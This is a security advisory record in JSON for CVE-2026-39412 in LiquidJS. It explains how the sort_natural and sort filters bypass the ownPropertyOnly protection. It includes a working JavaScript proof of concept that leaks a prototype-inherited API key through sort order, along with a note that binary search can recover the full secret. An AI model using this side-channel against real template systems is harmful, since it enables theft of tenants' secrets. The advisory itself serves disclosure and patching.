CVE-2026-39412: LiquidJS OwnPropertyOnly Bypass Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rv5g-f82m-qrvv",
  "modified" : "2026-04-09T14:29:00Z",
  "published" : "2026-04-08T15:04:39Z",
  "aliases" : [ "CVE-2026-39412" ],
  "summary" : "LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel",
  "details" : "### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural<T> (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) => caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly && !hasOwnProperty.call(obj, key) && !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = 'sk-1234-secret-token';\n\n  const target = new UserModel();\n  target.name = 'target';\n\n  const probe_a = { name: 'probe_a', apiKey: 'aaa' };\n  const probe_z = { name: 'probe_z', apiKey: 'zzz' };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });\n  console.log('Direct access:', JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender('{{ users | map: \"apiKey\" }}', { users: [target] });\n  console.log('Map filter:', JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    '{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}',\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log('sort_natural order:', r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa < sk-1234-secret-token < zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target's prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "liquidjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "10.25.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 10.25.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-39412"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/pull/869"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/harttle/liquidjs"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/harttle/liquidjs/releases/tag/v10.25.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-08T15:04:39Z",
    "nvd_published_at" : "2026-04-08T20:16:25Z"
  }
}